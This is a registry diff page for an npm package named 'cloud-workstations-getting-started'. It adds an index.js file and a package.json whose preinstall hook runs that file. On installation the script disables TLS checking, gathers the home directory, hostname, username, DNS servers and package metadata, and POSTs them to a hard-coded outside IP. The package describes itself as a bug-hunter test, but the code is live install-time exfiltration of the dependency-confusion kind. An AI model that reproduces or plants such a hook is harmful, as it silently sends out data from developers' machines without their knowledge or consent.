cloud-workstations-getting-started 13.3.37

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cloud-workstations-getting-started might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +56 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;
2
+ const fs = require('fs');
3
+ const os = require("os");
4
+ const dns = require("dns");
5
+ const querystring = require("querystring");
6
+ const https = require("http");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const trackingData = JSON.stringify({
11
+ p: package,
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: trackingData,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "167.99.164.84",
28
+ port: 80,
29
+ strictSSL: false,
30
+ path: "/npmlog.php",
31
+ method: "POST",
32
+ headers: {
33
+ "Content-Type": "application/x-www-form-urlencoded",
34
+ "Content-Length": postData.length,
35
+ },
36
+ };
37
+
38
+ var req = https.request(options, (res) => {
39
+ res.on("data", (d) => {
40
+ process.stdout.write(d);
41
+ });
42
+ });
43
+
44
+ req.on("error", (e) => {
45
+ console.error(e);
46
+ });
47
+
48
+ req.write(postData);
49
+ req.end();
50
+
51
+ //fs.writeFile("/tmp/omespino-vrp-poc", "Hey there! poc by @omespino", function(err) {
52
+ // if(err) {
53
+ // return console.log(err);
54
+ // }
55
+ // console.log("omespino file was saved!");
56
+ // });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "cloud-workstations-getting-started",
3
+ "version": "13.3.37",
4
+ "description": "omespino bug hunter test twitter @omespino.com",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "omespino",
11
+ "license": "ISC"
12
+ }